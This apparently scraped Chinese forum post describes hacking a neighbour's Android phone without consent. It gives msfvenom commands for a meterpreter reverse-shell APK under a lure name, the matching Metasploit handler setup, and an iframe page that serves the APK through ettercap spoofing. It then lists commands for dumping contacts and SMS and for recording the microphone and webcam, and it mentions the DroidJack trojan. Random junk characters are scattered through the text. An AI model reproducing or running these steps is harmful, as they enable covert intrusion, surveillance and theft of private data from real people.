metasploit+ettercap中间人攻击成功入侵邻居手机

admin

% _3 K6 i# B) s* P 五、msf+ettercap入侵邻居安卓手机

2 m9 D+ l( P$ S( w0 Z4 t! ^

首先启动msf

' z0 K( {; T& K) S( P. ?

先用kali生成一个安卓木马，如下命令： " g6 P, w# f! h4 ]

' [, c4 o; Z. ?; d0 l; s5 E# [ Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk % d1 Y- R. Z( w

为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 9 u# z3 \- q" Z

/ C( l* g1 N) d; p' y 然后进入msf

$ |" a7 ]: T6 s4 ~$ c

use exploit/multi/handler 3 B' ?; \6 o+ E

% D% S7 T/ i% ?- J; n set payload android/meterpreter/reverse_tcp ; h( G8 w% z2 R2 L2 P4 e

set LHOST 192.168.0.109 //ip为kaili的ip 3 |5 d! m& u ^

set LPORT 44444 //端口一定要与前面生成的木马的端口一致

& Z, ~. g9 j5 P) w' n# p

Exploit

; v/ g1 Q4 i0 |& d5 O

6 |1 m: N4 ]' R/ C: E" M  

3 x' }& g/ N9 F$ E! p* g

' Q3 }. X- ]7 E9 ]! ] 下面我们开启ettercap -G . H9 \) h s) ^

`3 g/ J5 c' m. B$ g 我物理IP为

# C9 X8 D" O5 B% E0 M6 R

  : Z& u: W- @3 i+ b- m# R# @

3 I+ B% I" H9 J% }/ `8 t0 ~/ n

别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，

$ _7 Y& w( [ Q B

下面我们来设置一下 + w2 c' b) Y. B( B3 g

  9 n3 Z/ S; X. l$ P" A) C1 }; O

7 M, L& m$ y Q {% c& M: i6 H 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，

  [, m; a7 Q- _* @) X, r

  5 b# Y0 S. R& |( w7 o

8 v5 {7 I. v$ o/ B

3 Z8 r& W$ }2 c7 d6 m* N  

 

4 x. e7 K: r: U! }  

 

  5 h, p @. P( H9 X& P" U- T

5 J4 s9 y: D m9 U6 |* R' W

& N# J) \- U% B* d+ Y# J/ s$ [  

$ f1 M" n0 G* Z: m; B" }. c9 w   0 s- w$ Q2 m/ o- n

/ G* f* j6 l% {- |6 a  

0 ]+ b0 ~3 O3 z, w

M7 J% m. U2 W4 K5 o- I- J$ s; T  

  * B$ D! Y f- _5 }

  c5 f" G, B/ Y, l

下面我们开始攻击 7 G! S, [+ m4 h$ t. F" N

7 n+ q2 b4 U% A; G5 n1 W7 @) r( ~+ T

 

# l* f6 o6 Y4 z  

: C& w4 E+ m) d9 k, \   : b! S. v9 c; L- T2 F a1 L2 ^

( }+ A* o) e$ _3 ~& w  

; X( M8 w: [* z

  * G8 W) U# m+ S" c u9 }2 a9 v

$ q+ d7 ^% A# O

大概过了5分钟多，发现反弹成功了

' Z/ y* O) s7 `9 X. U  

4 @ H6 }( C' s; Z- [  

  0 A; e4 M9 ^* t

) n9 m4 l2 d2 a u

Y9 X- {+ }3 b7 y! D/ x  

& J: z& b% `0 U: ], L# Q! j% Z5 I

 

7 X+ q$ x2 R y5 @# i0 F; F

" ^/ k) Z( x" U* ]+ @   2 s8 ~1 V5 O0 @8 `& i

  5 J( B9 D# A0 R/ W8 E

+ v) u7 c! j1 }) Q" V. t' C

6 T L2 l: e) e$ ~& \; e 执行命令 / M* }) ?% C8 O- f# b/ Q4 M

, g7 R' V5 A9 }* w! N8 s' g

( e8 [$ [6 j5 v. A: u' L   , C' x: @1 L' a- ?

; l! m7 Z4 W( m& n, K6 b, `1 U dump_contacts    --》这个是导出电话

dump_sms --》这个是导出信息 , t3 W3 ?6 |* |4 p

! R! ]* Z, h0 @: R1 X

. ]* h4 d& Q$ P: R6 q6 P9 Q record_mic     Record audio from the default microphone for X seconds , L- h! e* G1 M, ~( w7 S

. B" N" Q i( V0 w5 w6 S6 {

, ]' ~5 B# @4 C8 g5 K     webcam_chat    Start a video chat

. N. O& K8 \) p( n

+ J' _7 c; t, C1 J2 h; k     webcam_list    List webcams

0 S% t. W7 [- Z. r; v8 q

    webcam_snap    Take a snapshot from the specified webcam

$ m0 d( v s+ A' }8 \

webcam_stream  lay a video stream from the specified webcam ; m8 r* T; v" O

6 l3 C8 `0 z* F0 G+ v, ` _

  8 z" D% o, ?9 e7 M) T' B

7 x, X$ n, n, \6 k, e

  2 x% ]) `; i( T5 \1 o+ w

$ b! E; U- p4 b3 p, h" W 我们打开看一下电话薄， * d! T1 |& Q4 g# W% ^2 {

  / U# j' H4 U2 v, e) A3 F

- J6 Y( I6 k2 l, Q$ O0 U3 U

 

4 @0 {/ N% p/ {0 s& Z& y

 

9 V8 t, {) q# h* a E   ; K( L/ |. N# y. q

  ( w: _7 c2 r5 f% P

 

) U' \* d v- a: V- [ {/ D+ {) V& G 我们同时欺骗成DroidJack木马，使用方法如图：

8 H: A7 a5 T" G8 O) @) X" ^- u% Q9 H

  ' w: d7 u* x. i4 m3 T* G" b. J

* N* E# Y; D+ d! p* A- L

- E( k1 s# G( a* Z   # m. {' G: E9 e" ]0 w/ ?

0 |. H! h+ i# ]* R

8 z8 K, E* |8 f/ J% T7 O+ E$ t m  

. G# \7 J% K, @, }3 m

切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 3 b1 k: D$ H+ y0 W$ e3 p. o4 R

6 A1 c8 g% @: ^" N( s4 q

 

% H, [5 y7 @! J8 `+ C2 f& B

; N+ X4 ^9 V: B0 w3 k  

 

' }5 Z6 D7 w4 N+ f: C" u/ Z

V$ b! m: Z& D- s4 f! d